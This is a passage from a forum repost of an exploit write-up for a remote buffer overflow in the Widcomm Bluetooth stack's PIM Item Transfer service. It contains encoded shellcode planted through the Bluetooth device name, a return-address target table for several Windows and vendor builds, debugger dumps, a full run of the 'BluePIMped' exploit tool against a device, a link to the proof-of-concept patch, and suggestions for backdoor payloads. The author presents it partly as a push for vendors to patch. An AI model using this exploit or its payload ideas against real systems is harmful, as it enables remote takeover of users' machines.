At this point as mentioned above a call has been made to resolve the Bluetooth name of the remote
device that connected to the PIM Transer service. Once this call has been completed the name will
be stored in the registry location shown below. Upon subsequent connections this entry will be
displayed in the notification balloon.

Below is an example of MsgBox shellcode from Skylined encoded via ShikataGaNai as it is stored in
the registry after a name resolution.

Código:
[HKEY_LOCAL_MACHINE\SOFTWARE\Widcomm\BTConfig\Devices\00:11:b1:07:be:a7]
"Name"=hex:2b,c9,da,cd,d9,74,24,f4,5f,b1,33,b8,d1,f7,19,b7,31,47,15,83,c7,04,\
03,96,e6,fb,42,e4,38,3c,c8,9f,7b,8c,9a,df,77,67,ec,c3,2a,fc,65,f3,5c,6f,1a,\
03,9d,07,d1,31,b3,b3,7d,40,b8,5e,0c,fe,85,d0,57,16,07,fa,ce,e6,f8,fb,67,09,\
71,3e,46,07,d0,29,af,a7,d5,a9,f3,e6,81,fa,c9,e8,c1,d8,2d,e8,11,62,62,a4,31,\
3d,35,61,60,9d,8b,c5,d1,98,5f,9a,96,76,28,04,68,25,ed,64,28,8c,a1,2b,e2,49,\
1a,e7,b5,75,0f,54,64,76,fd,e1,9a,7a,c8,ef,b3,8c,ca,0f,44,a2,0a,5f,cd,39,31,\
36,d0,83,7c,20,ea,03,81,b0,bd,54,0a,f5,7d,d0,58,f0,05,e7,8a,a8,7e,b5,6a,4d,\
6b,0b,ab,7c,a2,2d,a0,4a,be,af,58,83,41,6e,6b,f0,11,70,b3,73,a9,06,cd,42,f5,\
9c,db,ee,82,05,38,0f,7e,df,cb,03,cb,ab,96,07,ca,40,ad,33,47,97,5a,64,09,67,\
  7a,9a,00

Next a secondary connection is made in order to actually trigger the overflow. This connection
consists of our desired return address repeated over and over being cramed into the remote file
name buffer. During the study of different exploitation attempts I found that my return address
was not often alligned as I expected or in the location that I expected. I found that repeating it
over and over helped stabilize my attempts. Deciding upon a static length for the filename also
seemed to help keep things alligned properly. The initial 272 bytes I send as a repeated return
address seems to be duplicated several times in succession in memory. The EIP seemes to be chosen
semi randomly from the area below represented in the block of memory between 0x0053C9F7 and
0x0053CCF7.


Código:
0053C9A7  00 00 00 00 00 00 43 00 3A 00 5C 00 44 00 4F 00  ......C.:.\.D.O.
0053C9B7  43 00 55 00 4D 00 45 00 7E 00 31 00 5C 00 41 00  C.U.M.E.~.1.\.A.
0053C9C7  44 00 4D 00 49 00 4E 00 49 00 7E 00 31 00 5C 00  D.M.I.N.I.~.1.\.
0053C9D7  4C 00 4F 00 43 00 41 00 4C 00 53 00 7E 00 31 00  L.O.C.A.L.S.~.1.
0053C9E7  5C 00 54 00 65 00 6D 00 70 00 5C 00 41 5A 43 42  \.T.e.m.p.\.AZCB
0053C9F7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA07  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA17  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA27  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA37  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA47  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA57  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA67  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA77  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA87  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA97  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAA7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAB7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAC7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAD7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAE7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAF7  41 44 43 42 41 44 43 42 41 44 43 42 FF 44 5A 07  ADCBADCBADCBÿDZ
0053CB07  41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42  AZCBADCBADCBADCB
0053CB17  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB27  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB37  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB47  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB57  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB67  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB77  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB87  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB97  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBA7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBB7  41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42  AZCBADCBADCBADCB
0053CBC7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBD7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBE7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBF7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC07  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC17  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC27  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC37  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC47  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC57  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC67  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC77  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC87  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC97  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCA7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCB7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCC7  FF 44 5A 07 41 5A 43 42 41 44 43 42 41 44 43 42  ÿDZAZCBADCBADCB
0053CCD7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCE7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCF7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB

Please note that some of the bytes were corrupted above. In some cases 0x07 and 0xff randomly
overwrote portions of our string. This would obviously corrupt any shellcode that was put into
this buffer. After I stopped trying to cram shellcode here I found that on occasion this also
caused undesired return addresses to be used rather than the one I specified. The letter "Z" is
in some cases prepended to our buffer to help compensate for the corruption.

Once the return address has been stabilized things should look similar to the following upon
EIP activation.

EAX 00000004
ECX 00008000
EDX 00000036
EBX 0038F6E8 ASCII "0"
ESP 01F7FF3C
EBP 01F7FF80
ESI 0038C510 ASCII "("
EDI 00000001
EIP 41424344

Our shellcode seems to be in several locations however only a few of them do not contain nulls.
Across multiple versions and service packs the shellcode consistantly lands on an address with
3 static bits 0x01??f74e. You can see this trend below in the targets section from my exploit.
The shellcode location should contain the contents of the Bluetooth device name as it was stored
in the registry.

With a debugger attached to BTStackServer.exe we can attempt to activate the EIP and point it at
our shellcode.

animosity:/home/kfinisterre/ussp-push-0.4-kf# hcitool scan
Scanning ...
        00:0A:3A:54:71:95       NEW-THREAT
animosity:/home/kfinisterre/ussp-push-0.4-kf# sdptool search OPUSH
00:0A:3A:54:71:95
Inquiring ...
Searching for OPUSH on 00:0A:3A:54:71:95 ...
Service Name: PIM Item Transfer
Service RecHandle: 0x10004
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 3
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100
...

animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push
BluePIMped v0.1
Usage: ./ussp-push {DEVICE, BTADDR@BTCHAN} LFILE RFILE

        DEVICE        = RFCOMM TTY device file
        BTADDR@BTCHAN = BlueTooth address/name and OBEX channel
        TARGET  = Target number
Types:
0 [0x01abf74e]: [ XP Pro SP0   - Ambicom btysb1.4.2w.zip 1.4.2 Build 10 ]
1 [0x019bf74e]: [ XP Pro SP0   - Actiontec Bluetooth Software (ver 1.1 cd label) ]
2 [0x019bf74e]: [ XP Pro SP0   - Belkin Bluetooth Software 1.4.2 Build 10 ]
3 [0x0197f74e]: [ XP Pro SP1a  - Belkin Bluetooth Software 1.4.2 Build 10 ]
4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
5 [0x41424344]: [ Crash ]

animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push 00:0A:3A:54:71:95@3 4
[-] Selected target:
    4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
name=/etc/hosts, size=257
Registered transport

set user data

created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)

started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!

Connection return code: 0, id: 0
Connection established
connected to server
Sending file: YouAreBeingPwnedViaBlueTooth, path: /etc/hosts, size: 257
reqdone
Command (02) has now finished, rsp: 20reqdone
Command (01) has now finished, rsp: 20Disconnect done!
sleeping 3 seconds before triggering the shellcode
name=/etc/hosts, size=257
Registered transport

set user data

created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)

started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!

Connection return code: 0, id: 0
Connection established
connected to server
Sending file:
ZZZ÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N
÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷
N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N,
path: /etc/hosts, size: 257
Made some progress...
Peace nigga...

After the malformed request is sent my debugger paused with an Access violation when writing to
[00713000]. You can safely pass this exception on to the program. This is a good time to verify
that your shellcode is where you expect it to be.

0199F74E  2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7  +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E  31 47 15 83 C7 04 03 96 E6 FB 42 E4 38 3C C8 9F  1GƒÇ–æûBä8<ÈŸ
0199F76E  7B 8C 9A DF 77 67 EC C3 2A FC 65 F3 5C 6F 1A 03  {ŒšßwgìÃ*üeó\o
0199F77E  9D 07 D1 31 B3 B3 7D 40 B8 5E 0C FE 85 D0 57 16  Ñ1³³}@¸^.þ…ÐW
0199F78E  07 FA CE E6 F8 FB 67 09 71 3E 46 07 D0 29 AF A7  úÎæøûg.q>FÐ)¯§
0199F79E  D5 A9 F3 E6 81 FA C9 E8 C1 D8 2D E8 11 62 62 A4  Õ©óæúÉèÁØ-èbb¤
0199F7AE  31 3D 35 61 60 9D 8B C5 D1 98 5F 9A 96 76 28 04  1=5a`‹Åј_š–v(
0199F7BE  68 25 ED 64 28 8C A1 2B E2 49 1A E7 B5 75 0F 54  h%íd(Œ¡+âIçµuT
0199F7CE  64 76 FD E1 9A 7A C8 EF B3 8C CA 0F 44 A2 0A 5F  dvýášzÈﳌÊD¢._
0199F7DE  CD 39 31 36 D0 83 7C 20 EA 03 81 B0 BD 54 0A F5  Í916Ѓ| ê°½T.õ
0199F7EE  7D D0 58 F0 05 E7 8A A8 7E B5 6A 4D 6B 0B AB 7C  }ÐXð犨~µjMk «|
0199F7FE  A2 2D A0 4A BE AF 58 83 41 6E 6B F0 11 70 B3 73  ¢- J¾¯XƒAnkðp³s
0199F80E  A9 06 CD 42 F5 9C DB EE 82 05 38 0F 7E DF CB 03  ©ÍBõœÛî‚8~ßË
0199F81E  CB AB 96 07 CA 40 AD 33 47 97 5A 64 09 67 7A 9A  Ë«–Ê@­3G—Zd.gzš

Immediately after passing the exception control should be handed over to us. We should jump into
the code we stored in the Bluetooth name buffer. Skylined's code will to do its magic and the real
intent of our payload is revealed.

0199F74E  2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7  +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E  31 47 15 83 C7 04 03 47 11 E2 F5 FC 31 C0 64 8B  1GƒÇGâõü1Àd‹
0199F76E  40 30 8B 40 0C 8B 70 1C AD 8B 68 08 68 6C 6C 00  @0‹@.‹p­‹hhll.
0199F77E  00 68 33 32 2E 64 68 75 73 65 72 54 BB 71 A7 E8  .h32.dhuserT»q§è
0199F78E  FE E8 56 00 00 00 89 EF 89 C5 31 D2 52 E8 06 00  þèV...‰ï‰Å1ÒRè.
0199F79E  00 00 43 41 54 53 3A 00 E8 25 00 00 00 41 4C 4C  ..CATS:.è%...ALL
0199F7AE  20 59 4F 55 52 20 42 4C 55 45 54 4F 4F 54 48 20   YOUR BLUETOOTH
0199F7BE  41 52 45 20 42 45 4C 4F 4E 47 20 54 4F 20 55 53  ARE BELONG TO US
0199F7CE  2E 00 52 BB E2 0C C9 FA E8 0F 00 00 00 31 C0 50  ..R»â.Éúè...1ÀP
0199F7DE  89 FD BB 69 1D 42 3A E8 00 00 00 00 56 57 8B 45  ‰ý»iB:è....VW‹E
0199F7EE  3C 8B 54 05 78 01 EA 52 8B 52 20 01 EA 31 C0 31  <‹TxêR‹R ê1À1
0199F7FE  C9 41 8B 34 8A 01 EE 31 FF C1 CF 13 AC 01 C7 85  ÉA‹4Šî1ÿÁϬDž
0199F80E  C0 75 F6 39 DF 75 EA 5A 8B 5A 24 01 EB 66 8B 0C  Àuö9ßuêZ‹Z$ëf‹.
0199F81E  4B 8B 5A 1C 01 EB 8B 04 8B 01 E8 5F 5E FF E0 00  K‹Zë‹‹è_^ÿà.

At this point the user of the machine should be greeted with a nice message box window titled
"CATS:" with the message "ALL YOUR BLUETOOTH ARE BELONG TO US.". Obviously any payload can be
plugged into the exploit keeping in mind space limitations of the various buffers.

In an ideal situation the initial phase that places the shellcode in the registry should be
used as an chance to upload a binary with some sort of backdoor functionality as well as a
scripted procedure to kill BTTray and restart it. Any uploaded binary would reside in
"%USERPROFILE%"\mydocu~1\blueto~1 by default so shellcode that can resolve that path and execute
a binary there would be very useful (hint hint email me some shellcode if anyone is bored).

I have toyed around with payloads that flip a few bits in SOFTWARE\Widcomm\BTConfig\Services\\000?,
SOFTWARE\Widcomm\General\UseFixedPIN and SOFTWARE\Widcomm\General\PinCode. However I have not yet
come upon a payload that would be as functional as %USERPROFILE% execution code.

I hope this document will help clear up some of the myths about the potential wormability of the
Widcomm Bluetooth bugs. I also hope that Vendors that still distribute dongles with vulnerable
software will step up to the plate and help eliminate this threat. Vendors...please put an end to
the license.dat issues that prevent so many users from upgrading their Widcomm software.

Please see the proof of concept patch to ussp-push-0.4 published at
http://www.digitalmunition.com/BluePIMped.diff

kfinisterre@animosity:~$ tar -zxvf ussp-push-0.4.tar.gz
ussp-push-0.4/
ussp-push-0.4/COPYING
ussp-push-0.4/Makefile
ussp-push-0.4/doc/
ussp-push-0.4/doc/README
ussp-push-0.4/doc/ussp-push.html
ussp-push-0.4/obex_main.c
ussp-push-0.4/obex_socket.c
ussp-push-0.4/obex_socket.h
kfinisterre@animosity:~$ cat BluePIMped.diff | patch -p0
patching file ussp-push-0.4/obex_main.c


Páginas: 1 [2] 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines